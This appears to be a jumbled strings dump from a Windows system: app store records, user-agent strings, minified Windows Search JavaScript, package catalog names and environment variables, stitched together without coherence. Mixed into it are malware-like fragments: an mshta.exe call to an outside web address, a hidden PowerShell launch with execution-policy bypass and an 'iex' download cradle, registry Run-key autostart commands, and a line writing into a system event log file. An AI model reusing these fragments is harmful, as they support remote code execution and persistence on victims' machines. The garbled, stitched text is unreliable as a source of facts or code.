"Windows"
9P4PNDG7L782AD2F1837.HPPCHardwareDiagnosticsWindows_v10z8vjag6ke6HP Inc.
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
9WZDNCRFJBBGWindows Camerahttps://store-images.s-microsoft.com/image/apps.9585.9007199266252789.05ba84d6-f74d-4beb-ba05-12d7e5f76cd0.84ff9a8f-54fe-4188-8f15-377afec76fa9en
ra Windowshttps://store-images.s-microsoft.com/image/apps.9585.9007199266252789.05ba84d6-f74d-4beb-ba05-12d7e5f76cd0.84ff9a8f-54fe-4188-8f15-377afec76fa9fr
9WZDNCRFJBBGWindows-Kamerahttps://store-images.s-microsoft.com/image/apps.9585.9007199266252789.05ba84d6-f74d-4beb-ba05-12d7e5f76cd0.84ff9a8f-54fe-4188-8f15-377afec76fa9de
9N0DX20HK701Windows Terminalhttps://store-images.s-microsoft.com/image/apps.41157.13926773940052066.96ea379b-9e7a-49f1-8cee-25ed75770e30.db205d00-24ab-4a3f-be16-168e6306c3dben
9N0DX20HK701Windows Terminalhttps://store-images.s-microsoft.com/image/apps.41157.13926773940052066.96ea379b-9e7a-49f1-8cee-25ed75770e30.db205d00-24ab-4a3f-be16-168e6306c3dbfr
9N0DX20HK701Windows Terminalhttps://store-images.s-microsoft.com/image/apps.41157.13926773940052066.96ea379b-9e7a-49f1-8cee-25ed75770e30.db205d00-24ab-4a3f-be16-168e6306c3dbde
XP9CDQW6ML4NQNPlex for Windowshttps://images-eds-ssl.xboxlive.com/image?url=4rt9.lXDC4H_93laV1_eHHFT949fUipzkiFOBH3fAiZZUCdYojwUyX2aTonS1aIwMrx6NUIsHfUHSLzjGJFxxs8TlbLor9feBfrt9RoDWVE10FrqPBn9ij1kUP4KrznUbYNx_HOYUbuOKuFH3OLMkzoagA8uS32wRRZaKWbI09g-&format=sourceen
XP9CDQW6ML4NQNPlex for Windowshttps://images-eds-ssl.xboxlive.com/image?url=4rt9.lXDC4H_93laV1_eHHFT949fUipzkiFOBH3fAiZZUCdYojwUyX2aTonS1aIwMrx6NUIsHfUHSLzjGJFxxs8TlbLor9feBfrt9RoDWVE10FrqPBn9ij1kUP4KrznUbYNx_HOYUbuOKuFH3OLMkzoagA8uS32wRRZaKWbI09g-&format=sourcefr
XP9CDQW6ML4NQNPlex for Windowshttps://images-eds-ssl.xboxlive.com/image?url=4rt9.lXDC4H_93laV1_eHHFT949fUipzkiFOBH3fAiZZUCdYojwUyX2aTonS1aIwMrx6NUIsHfUHSLzjGJFxxs8TlbLor9feBfrt9RoDWVE10FrqPBn9ij1kUP4KrznUbYNx_HOYUbuOKuFH3OLMkzoagA8uS32wRRZaKWbI09g-&format=sourcede
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
software\microsoft\windows\currentversion\run
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
!.Windows.NarratorQuickStart_10.0.26100.1_neutral
1.0Windows for Workgroups 3.1aCACACACACACACACACACACACACACACAv:* { behavior: url(#default#VML); }method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Omovefileexantwritefile\system32\config\44556162.evt
n!!this._partialQuery.enabledDataSources.MPHO&&!!this._partialQuery.enabledDataSources.MVID&&!!this._partialQuery.enabledDataSources.MDOC&&!!this._partialQuery.enabledDataSources.MPVD;default:return!!this._dataSourcesCompleted[n]}}):t.every(n=>!!this._dataSourcesCompleted[n])}processSuggestions(t){var h,p,c;let r=[],l=[],i,a=this.getLatencyTimeout()>0&&this._bufferingTimer==null,w=this.haveAllDataSourcesArrived(this._highPriorityDataSources),b=w||a,nt=this.haveAllDataSourcesCompleted(this._lowPriorityDataSources),k=this.haveAllDataSourcesCompleted(this._normalPriorityDataSources),v=this.haveAllDataSourcesCompleted(this._highPriorityDataSources),d=v&&k,tt=v&&k&&nt;const o=this._allDataSourcesArrived||a;t&&n.InstrumentationHelper.logDataSourceTimeout(Object.keys(this._suggestionsQueue),this._partialQuery);let s=t&&!this._renderedThisSequenceNumber,it=(t,u)=>{if(!t.updated&&this.getDependencies(u).every(t=>n.contains(this._arrivedDataSources,t))){if(l.push(u),this._allProcessedDataSources[u]=!0,t.suggestions.length>0){(n.Host.getLogUserActivityDataEnabled()||n.isZeroInputShowPreview())&&t.suggestions.forEach(n=>{n.dataSource=u});let f=this.canHaveSuppressions(u)?t.suggestions.filter(n=>!this.isSuppressed(u,n)):t.suggestions;if((n.config.disableDataSourceOnNonActiveWindow===4||n.config.disableDataSourceOnNonActiveWindow===5)&&n.Host.getWindowsActivationState()===!1&&(f=f.filter(t=>!n.isFolder(t.type))),f.length>0){i&&i.length!==0||(i=this._renderedThisSequenceNumber?this._rootViewModel.getSuggestions(!0):[]);u=="CoPIFF"&&n.Host.getIFFPolarisProviderEnabled()&&this.maxRankScoreOfDuplicatesSuggestions(f,i);let[t,e]=this.removeDuplicatesAndAssignIds(f,i,r,u);r=r.concat(t);e&&(s=!0)}}t.updated=!0}};const u=(t,u)=>{var f,e,o,s,h,c;for(let n in t){let i=t[n],r=this._suggestionsQueue[i];r&&it(r,i)}if(n.config.wsbWithCopilotQF&&u&&this._queryIntentClassifier&&!this._extraSignalsMap.QIC){let t=this._partialQuery.queryToFetch;if(t.split(/\W+/).filter(Boolean).length>1){let l=(f=r===null||r===void 0?void 0:r.filter(n=>n.type=="PP"||n.type=="IBA").length)!==null&&f!==void 0?f:0;l+=(e=i===null||i===void 0?void 0:i.filter(n=>n.type=="PP"||n.type=="IBA").length)!==null&&e!==void 0?e:0;let u=(o=r===null||r===void 0?void 0:r.filter(n=>n.type=="ST").length)!==null&&o!==void 0?o:0;u+=(s=i===null||i===void 0?void 0:i.filter(n=>n.type=="ST").length)!==null&&s!==void 0?s:0;n.Host.getJupiterProviderEnabled()&&(u+=(h=r===null||r===void 0?void 0:r.filter(n=>n.type=="CoPST").length)!==null&&h!==void 0?h:0,u+=(c=i===null||i===void 0?void 0:i.filter(n=>n.type=="CoPST").length)!==null&&c!==void 0?c:0);let a=this._queryIntentClassifier.classify(t,l,u);this._extraSignalsMap.QIC={rankerExtraInfo:{confidence:a}}}}},f=n.config.impressionRenderingWaitTimeout&&this._partialQuery.queryToFetch.length>=n.config.minQueryLengthForRenderingTimeout&&!n.isL2(this._partialQuery),e=!!n.config.waitFirstPaintWhenHighPriAppsSettingsEmpty&&!!this._partialQuery.queryToFetch.length&&!n.isL2(this._partialQuery)&&!this._renderedThisSequenceNumber&&!this.hasResultsFromHighPriorityAppSettingSuggs()&&!a;b&&!e&&(f?o&&u(this._highPriorityDataSources,!0):u(this._highPriorityDataSources,!0));this._bufferingTimer&&d&&!e&&(!f||o)&&(sb_ct(this._bufferingTimer),this._bufferingTimer=null);let y=b&&!this._HighPriDoneProcessing;y=y||!!(f&&o);let rt=y||(this.getLatencyTimeout()>0?this._bufferingTimer==null:w);rt&&!e&&(f?o&&(u(this._normalPriorityDataSources),u(this._lowPriorityDataSources)):(u(this._normalPriorityDataSources),u(this._lowPriorityDataSources)));let g;e||(g=f?this._waitingForMoreResults&&tt:this._waitingForMoreResults&&d);g&&(this._waitingForMoreResults=!1,(!this._renderedThisSequenceNumber||this._rootViewModel.mayNeedFlush()||(i||this._rootViewModel.getSuggestions(!0)).length==0)&&(s=!0));(r.length>0||s)&&!e&&(i||(i=this._renderedThisSequenceNumber?this._rootViewModel.getSuggestions(!0):[]),f?o&&this.addSuggestions(i,r,l,s):this.addSuggestions(i,r,l,s));e||(this._allDataSourcesArrived?(this.resetTimers(),n.InstrumentationHelper.notifyAllDataSourcesProcessed(this._sequenceNumberew Error(`Data source already completed: ${i}`));return}if(!n.contains(this._highPriorityDataSources,i)&&!n.contains(this._normalPriorityDataSources,i)&&!n.contains(this._lowPriorityDataSources,i)){n.LogWSBError("queueSuggestions",i,new Error("Unexpected data source"));return}let e=!1;((n.config.enableVegaProviderTwoSteps||n.Host.getIsWIPOrInternalAudience())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(58029256))&&i==="CoPCFP"&&(e=!this._dataSourcesCompleted[i]),!this._allDataSourcesArrived||e)&&(this._suggestionsQueue[i]&&!this._suggestionsQueue[i].updated?this._suggestionsQueue[i].suggestions.push(...r):this._suggestionsQueue[i]={suggestions:r,updated:!1},this._dataSourcesCompleted[i]=!f,u&&(this._extraSignalsMap[i]=u),f||this._arrivedDataSources.push(i),this._allDataSourcesArrived=this.haveAllDataSourcesArrived(this._highPriorityDataSources.concat(this._normalPriorityDataSources).concat(this._lowPriorityDataSources)),(this._processingStopped||n.InstrumentationHelper.isLayoutLogged(this._sequenceNumber))&&!e?(this._allDataSourcesArrived&&(this.resetTimers(),n.InstrumentationHelper.notifyAllDataSourcesProcessed(this._sequenceNumber)),this._rootViewModel.toggleProgressBar(!1)):this.processSuggestions(!1))}}resetTimers(){this._bufferingTimer&&(sb_ct(this._bufferingTimer),this._bufferingTimer=null);this._processingTimeoutTimer&&(sb_ct(this._processingTimeoutTimer),this._processingTimeoutTimer=null)}resetStateForNewQuery(t,i){this._arrivedDataSources=[];this._allProcessedDataSources={};this._sequenceNumber=t;this._partialQuery=i;this._suggestionsQueue={};this._dataSourcesCompleted={};this._extraSignalsMap={};this._renderedThisSequenceNumber=!1;this._waitingForMoreResults=!0;this._processingStopped=!1;this._allDataSourcesArrived=n.isEmpty(i.enabledDataSources);this.resetTimers()}getDependencies(t){return n.Host.dataSourceDependencies(t).filter(t=>n.isDataSourceEnabled(t,this._partialQuery))}hasResultsFromHighPriorityAppSettingSuggs(){return["PP","MPP","ST","MST",].some(t=>{if(!n.contains(this._highPriorityDataSources,t))return!1;const i=this._suggestionsQueue[t];return i&&i.suggestions&&i.suggestions.length>0})}haveAllDataSourcesArrived(t){return n.config.mergeQueries&&this._partialQuery.scope==n.Scope.Documents?t.every(n=>{switch(n){case"MPHO":case"MVID":case"MDOC":return!!this._partialQuery.enabledDataSources.MPHO&&!!this._partialQuery.enabledDataSources.MVID&&!!this._partialQuery.enabledDataSources.MDOC&&!!this._partialQuery.enabledDataSources.MPVD;default:return!!this._suggestionsQueue[n]}}):t.every(i=>{var r,u;if(i=="MSBC"){const t=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.qfUtils.isWaitForBackfillEnabled(this._partialQuery.scope),f=!!this._suggestionsQueue[i]&&(((u=(r=this._suggestionsQueue[i])===null||r===void 0?void 0:r.suggestions)===null||u===void 0?void 0:u.length)>0||this._dataSourcesCompleted[i]);return t?f:!!this._suggestionsQueue[i]}return!!this._suggestionsQueue[i]&&this.haveCacheBackedDataSourcesArrived(t)})}haveCacheBackedDataSourcesArrived(t){if(this._partialQuery.isSearchHomeZI&&n.isMsbQwsDocsCacheEnabled(this._partialQuery)&&!n.config.msbQwsDocsNoRefreshAfterCachedResults){const i="SSUE",r="SREE",s=!!this._partialQuery.enabledDataSources[i]&&n.isDocSourceEnabledInQws(i),h=!!this._partialQuery.enabledDataSources[r]&&n.isDocSourceEnabledInQws(r);let u=!1,f=!1;t.forEach(n=>{n==i?u=!0:(n=r)&&(f=!0)});const e=u&&s,o=f&&h;if(e||o){const n=e&&this._dataSourcesCompleted[i],t=o&&this._dataSourcesCompleted[r];return n||t}return!0}return!0}haveDataSourcesWithProgressBarArrived(){if(!n.config.dataSourcesWithProgressBar.length||!n.config.enableProgressBarForAllScope)return!1;let t=n.config.dataSourcesWithProgressBar.filter(t=>n.contains(this._lowPriorityDataSources,t)||n.contains(this._normalPriorityDataSources,t)||n.contains(this._highPriorityDataSources,t));return this.haveAllDataSourcesArrived(t)}haveAllDataSourcesCompleted(t){return n.config.mergeQueries&&this._partialQuery.scope==n.Scope.Documents?t.every(n=>{switch(n){case"MPHO":case"MVID":case"MDOC":returL
ithMarketInfo(p),p=this.enrichUrlWithDeviceInfo(p),!s){p=this.enrichUrlWithMuidInfo(p);let t=n.Host.getElToken();t&&this._baseUrl.startsWith("https:")&&(p+=f+n.encodeQueryParameter(t));p=this.enrichUrlWithSafeSearchInfo(p)}let b=n.Host.getSafeSearchSetting();return b&&(p+=l+b),y&&(p+="&"+y),p}getImageSearchUrl(){let t=this._baseUrl+"/images/detail/upload?FORM="+n.mapOSFormCode("SBIWSB");return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.isWindowsTest)&&(t+="&isWindowsTest=1&traffictype=Test"),t}getVerticalFromHandoffType(n){return n===13?"images":n===14?"videos":n===15?"shop":""}enrichUrlWithDeviceInfo(t){n.Host.isEducationEnvironment()&&(t+="&DAF0=1");n.Host.isWindowsS()&&(t+="&DAF1=1");let i=n.Host.getPartnerSearchCode();return i&&(t+="&PC="+i),t}enrichUrlWithMarketInfo(t){let i=n.Host.getRegion(),r=n.Host.getLanguage();return i&&(t+=e+i),r&&(t+=o+r),t}enrichUrlWithSafeSearchInfo(t){return n.Host.getSafeSearchSetting()=="Strict"?t+"&adlt=strict":t}enrichUrlWithMuidInfo(f){if(_G.nclid){f+=t+n.encodeQueryParameter(_G.nclid);let e=this.getNowTimestamp().toString();f+=i+n.encodeQueryParameter(e);let o=e.substring(0,e.length-3);f+=r+n.encodeQueryParameter(o);let s=e.substring(e.length-3);f+=u+n.encodeQueryParameter(s)}return f}enrichUrlWithCvid(t){return t+(s+n.encodeQueryParameter(n.Host.getConversationId()))}enrichUrlWithSuggestionType(t,i){return t+(h+n.encodeQueryParameter(i))}getChatUrl(t){return"https://www.bing.com/search?q="+n.encodeQueryParameter(t)+"&showconv=1&sendquery=1&form=WSBMSC"}getMiniserpCPSUrl(t){let i=this._baseUrl+"/copilotsearch/composer?q="+n.encodeQueryParameter(t);return i=this.enrichUrlWithMarketInfo(i),this.enrichUrlWithDeviceInfo(i)}enrichUrlWithWorkScopeHash(n,t){return n===21&&t?"#"+t:""}}n.NavigationHelper=a}(WSB||(WSB={})),function(n){class t{constructor(n){this._selectableItemsContainer=n}handleKeyDown(t,i,r){var f,e;if(!(r===null||r===void 0?void 0:r.isSuggestion)||((e=(f=r===null||r===void 0?void 0:r.instItem)===null||f===void 0?void 0:f.getUserEngagementContent())===null||e===void 0?void 0:e.bestMatch)||(r===null||r===void 0?void 0:r.fromHistory))return!1;const o=this._selectableItemsContainer.getSelectableItems(),c=n.getGroupType(r),u=this.getImageGridSuggestions(o,c),s=(u===null||u===void 0?void 0:u.length)>0&&u.includes(r);let h=!1;return this.shouldHandleImageGridKey(s,t,i)?h=n.Host.searchBoxHasFocus()?!1:this.selectNextItemInImageGrid(t,o,u,r):!s||n.Host.searchBoxHasFocus()||this.isNonInputKey(t,i)||n.Host.setFocusInSearchBox(t,"LetterOrNumberKeyDown"),h}getImageGridSuggestions(t,i){return t.filter(n=>{var t,i;return(n===null||n===void 0?void 0:n.isSuggestion)&&!((i=(t=n===null||n===void 0?void 0:n.instItem)===null||t===void 0?void 0:t.getUserEngagementContent())===null||i===void 0?void 0:i.bestMatch)}).filter(t=>n.isImageGridEnabledForItem(t===null||t===void 0?void 0:t.type)||n.shouldShowBingImageSearch(t===null||t===void 0?void 0:t.type)).filter(t=>n.getGroupType(t)===i).map(n=>n)}selectNextItemInImageGrid(n,t,i,r){var s,o,h;if(!i||i.length===0)return!1;const l=i[0],f=t.findIndex(n=>n.id===l.id);if(f===-1)return!1;const a=f-1,v=f+i.length;if(!i||i.length===0)return!1;const c=this.getActualImageGridColumns(),e=i.findIndex(n=>n.reactKey?n.reactKey===(r===null||r===void 0?void 0:r.reactKey):n.id===(r===null||r===void 0?void 0:r.id));if(e===-1)return!1;let u=e;switch(n){case 37:u=e-1;break;case 39:u=e+1;break;case 38:u=e-c;break;case 40:u=e+c}return u=u<0?n===38?a:f:u>=i.length?n===40?v:f+i.length-1:f+u,r&&(r.selected=!1,(s=r.onUnselected)===null||s===void 0?void 0:s.call(r)),this._selectableItemsContainer.select(t[u],!0),(h=(o=t[u])===null||o===void 0?void 0:o.onSelected)===null||h===void 0?void 0:h.call(o),!0}getActualImageGridColumns(){const t=document.querySelector(".imageGridList");if(!t)return 1;const n=Array.from(t.querySelectorAll(".imageGridSuggestion"));if(n.length===0)return 1;const r=n[0].offsetTop;let i=0;for(const t of n){if(t.offsetTop!==r)break;i++}return i}isNonInputKey(n,t){return t&&(t.ctrlKey||t.altKey||t.shiftKeyH
Microsoft Windows
exOf(t);return i!=-1?(n.splice(i,1),!0):!1}function wi(n,t){let i=n.findIndex(t);return i!=-1?n.splice(i,1)[0]:null}function bi(n,t,i){if(t<100)for(let r=n.length-1;n.length>t&&r>=0;--r)i(n[r])&&n.splice(r,1)}function ki(n,i){return n.filter(n=>!t(i,n))}function di(n,t){if(n.length!=t.length)return!1;for(let i=0;i<n.length;++i)if(n[i]!=t[i])return!1;return!0}function gi(n,t){if(n===t)return!0;if(!n||!t||Object.keys(n).length!=Object.keys(t).length)return!1;for(let i in n)if(n[i]!=t[i])return!1;return!0}function tt(){return n.getCurrentDate().getTime()}function it(){return n.getCurrentDate().getHours()}function nr(){if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.dsbMockCurrentSec)return n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.dsbMockCurrentSec;let t=n.getCurrentDate();return t.getHours()*3600+t.getMinutes()*60+t.getSeconds()}function tr(){const n=it();return n<5||n>=19?3:n>=11?2:1}function e(n){let t=Math.abs(Math.floor(n));return(t<10?"0":"")+t}function ir(){let t=n.getCurrentDate(),i=-t.getTimezoneOffset(),r=i>=0?"+":"-";return t.getFullYear()+"-"+e(t.getMonth()+1)+"-"+e(t.getDate())+"T"+e(t.getHours())+":"+e(t.getMinutes())+":"+e(t.getSeconds())+"."+e(t.getMilliseconds())+r+e(i/60)+":"+e(i%60)}function rr(n,t){return n?n.replace(gt,(n,i)=>t[i]):n}function ur(n){let t=n?n.number:null,i=n?n.name:null;return t==-2147023673||i=="Canceled"}function r(t,i,r,u,f,e){try{return t()}catch(o){return e||n.LogWSBError(i,u,o,undefined,undefined,"WindowsTelemetry"),f&&f(o),r}}function c(n,t,i,u,f,e){return sb_st(()=>r(n,i,null,u,f,e),t)}function fr(n,...t){r(()=>sj_evt.fire(n,...t),n)}function er(n,t){c(t,1,n)}function l(n,t){let i=[],r=!0,u=(...n)=>{r?i.push(n):t.apply(null,n)};n(u);r=!1;i.forEach(n=>t.apply(null,n))}function or(t,i,r){u=t&&vt()!="ms-appx-web:"&&yt()!="searchapp.bundleassets.example";n.config.enableOfflineWithWeb&&n.config.webHost&&v()&&(u=t);rt=u&&w(i,r);ut=u&&si(i,r);ft=u&&hi(i,r);a=u&&ci(i,r);et=u&&li(i,r);ot=u&&oi(i)}function sr(){const t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return(n.Host===null||n.Host===void 0?void 0:n.Host.isFirstPartySearchDisabled())&&t!=1?!1:u}function hr(){return rt}function cr(){return ut}function st(){return ft}function lr(){return a}function ht(){return et}function ar(){const t=n.AccessTokenManager.getWindowsAccountType();return!!n.config.isCodexEligible&&ot&&!n.isThirdPartySearchAllowed()&&(t==2||t==3||n.isMsbInternalTenant()&&n.config.msbEnableCodexBtnUpperRightMs)}function wr(n){return t(vr,n)}function br(n){return t(at,n)}function kr(n){return t(yr,n)}function dr(n){return n==37}function gr(n){return n==39}function nu(n){return t(ct,n)}function tu(n){return t(lt,n)}function iu(n){return t(pr,n)}function ru(n,t){return n==121&&t||n==93}function uu(n,t){return n==8||n==46||n==88&&t.ctrlKey}function vt(){return _w.location.protocol}function yt(){return _w.location.host}function fu(){return _w.location.pathname}function eu(){let n=_d.activeElement;return!n||n.id.endsWith("sb_form_q")?_d.body:n}function pt(t){return t&&+t!=n.WindowsApiDefaultDate&&t.getTime&&!isNaN(t.getTime())&&t.getFullYear()!=1600}function wt(t){if(!pt(t))return null;let i=t.getTime(),r=tt();return Math.abs(r-i)/n.DayToMs}function ou(n){let t=wt(n);return t!==null&&t>14}function su(n){return n==="i"?13:n==="v"?14:0}function hu(){const t=n.Host.getIFFPolarisProviderEnabled()||n.Host.getVegaProviderEnabled(),i=(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56039577))||(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56154553))||(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56384656)),r=n.config.updateSemanticSearchTelemetry;return t&&r&&i}function cu(){return n.config.useCobaltCSS&&n.config.zeroInputShowPreview?!0:!1}function au(n){return encodeURIComponent(n).replace(/[!'()*]/g,escape).replace(/%20/g,"+")}const o=String.fr
kalimin e Windows p
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on applicatio
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
EnumWindows
WINDOWS.DEVICES.RADIOS.RADIOSTATICSPRIVATE
,Windows Runtime Object Host Domain for '{0}'
osoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp
tWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp
rchHandler@Provider@Storage@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@VStorageProviderSearchHandlerSource@@UIStorageProviderSearchHandler@Provider@Storage@Windows@winrt@@X@impl@winrt@@
.?AUIStorageProviderKnownFolderSyncInfoSource@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderStatusUISource@Provider@Storage@Windows@ABI@@
.?AUtype@?$abi@UIInspectable@Foundation@Windows@winrt@@X@impl@wi
Microsoft.Windows.Pdc
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.EventAggregation
Microsoft.Windows.Storage.Partmgr
Microsoft.Windows.Storage.Spaceport
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Hyper-V-VID
Microsoft.Windows.HyperV.VID
?installWindowSystemEventHandler@QWindowSystemInterfacePrivate@@SAXPEAVQWindowSystemEventHandler@@@Zu
ProcessWindowStateUpdate
windowState
windowState
Microsoft.Windows.BackgroundActivityModerator
Microsoft.Windows.TlgAggregateInternal
6Software\Microsoft\Windows\CurrentVersion\Uninstall\wincheck?AUThank_you@Define_the_symbol__ATL_MIXED@@?AVIExplorerUIAutomation@@c
P-d %appdata%\Windows\controlb
 Windows 
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Global_WindowsStorage_esServerMode
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\Explorer.EXE
mozilla/5.0(windowsnt6.1;wow64;rv:33.0)gecko/20120101firefox/33.0
c:\windows\system32\mshta.exehttps://riddhifoods.in/
c:\windows\microsoft.net\framework\v
	-windowstylehidden-sta-executionpolicybypassif(1-eq1){iex((new-o
-%rgs%gadd"%h%u\software\microsoft\windows\currentversion\r%u%"/v
Windows
Windows
windows appV
EnumWindows
er.exe#WindowsManagementCheckRadioBoxClick*
c:\windows\system32\kernel32.exe0
index.windows
windows\currentversion\run
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Ajj = Ajj & "\" & Abs(Application.WindowState) & "."
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.ShellExperienceHosta
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|soft-OneCore-Kernel-AppCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Windows.Data.Shell.FocusSession
svshellcommon\undockeddevkit\libs\windowsudk.ui.shell.shellviewcoordinator\bamoproxy.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.snaplayoutmanager\snaplayoutmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.snaplayoutmanager\windowgroupsuggestion.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.taskbar\taskbarlayout.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.taskbar\taskbarlayoutbamoproxy.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.taskbarmanager\taskbarmanager.cpp
COMPUTERNAME=WINDOWS11
OS=Windows_NTZ
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
COMPUTERNAME=WINDOWS11
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll,
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
WindowsAppRuntime.1.6_6000.519.329.0_x64_Z
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
f8^com.microsoft.windows.extensionpackage
f9^com.microsoft.windows.extensions.xaml.lockcanvas
com.microsoft.windows.extensions.xaml.lockcanvas
C:\WINDOWS\
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.MultitapListView
Windows.Networking.BackgroundTransfer.Internal'
regadd"hklm\software\microsoft\windows\currentversion\run"/v"
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Windows_Token_API_not_supported
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
